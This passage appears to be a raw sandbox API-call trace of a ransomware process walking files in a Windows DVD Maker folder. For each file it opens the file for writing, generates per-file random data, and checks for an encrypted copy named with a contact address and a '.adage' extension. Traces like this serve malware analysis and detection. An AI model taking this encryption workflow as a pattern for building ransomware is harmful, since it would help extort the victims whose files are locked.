Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0057.790] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3887) returned 1 [0057.790] CloseHandle (hObject=0x1a8) returned 1 [0057.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0057.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.791] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0057.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.075] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4570) returned 1 [0058.075] CloseHandle (hObject=0x180) returned 1 [0058.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png")) returned 0x20 [0058.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.075] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.075] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=6431) returned 1 [0058.075] CloseHandle (hObject=0x180) returned 1 [0058.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png")) returned 0x20 [0058.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\blackbars60.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\blackbars60.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.076] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.076] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=24557) returned 1 [0058.076] CloseHandle (hObject=0x180) returned 1 [0058.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png")) returned 0x20 [0058.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\layers.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\layers.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.077] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.078] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5088) returned 1 [0058.078] CloseHandle (hObject=0x180) returned 1 [0058.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png")) returned 0x20 [0058.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.078] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.126] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3130) returned 1 [0058.126] CloseHandle (hObject=0x180) returned 1 [0058.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png")) returned 0x20 [0058.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.126] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.338] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4456) returned 1 [0058.338] CloseHandle (hObject=0x1a8) returned 1 [0058.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png")) returned 0x20 [0058.338] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.338] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.338] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0058.339] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=3076) returned 1 [0058.339] CloseHandle (hObject=0x1a8) returned 1 [0058.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png")) returned 0x20 [0058.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.339] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.339] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0058.547] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=693292) returned 1 [0058.547] CloseHandle (hObject=0x178) returned 1 [0058.547] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv")) returned 0x20 [0058.548] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.548] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.548] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.730] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=7888) returned 1 [0058.731] CloseHandle (hObject=0x184) returned 1 [0058.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png")) returned 0x20 [0058.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.731] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.731] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=797322) returned 1 [0058.731] CloseHandle (hObject=0x184) returned 1 [0058.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0058.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.732] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.732] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=869322) returned 1 [0058.732] CloseHandle (hObject=0x184) returned 1 [0058.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0058.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.733] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.733] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=933322) returned 1 [0058.733] CloseHandle (hObject=0x184) returned 1 [0058.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0058.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.733] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.734] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=989322) returned 1 [0058.734] CloseHandle (hObject=0x184) returned 1 [0058.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0058.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.735] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.735] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=5372) returned 1 [0058.735] CloseHandle (hObject=0x184) returned 1 [0058.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png")) returned 0x20 [0058.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.735] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x344fa40 | out: pbBuffer=0x344fa40) returned 1 [0058.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.736] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x344f9d8 | out: lpFileSize=0x344f9d8*=4724) returned 1 [0058.736] CloseHandle (hObject=0x184) returned 1 [0058.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png")) returned 0x20 [0058.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, 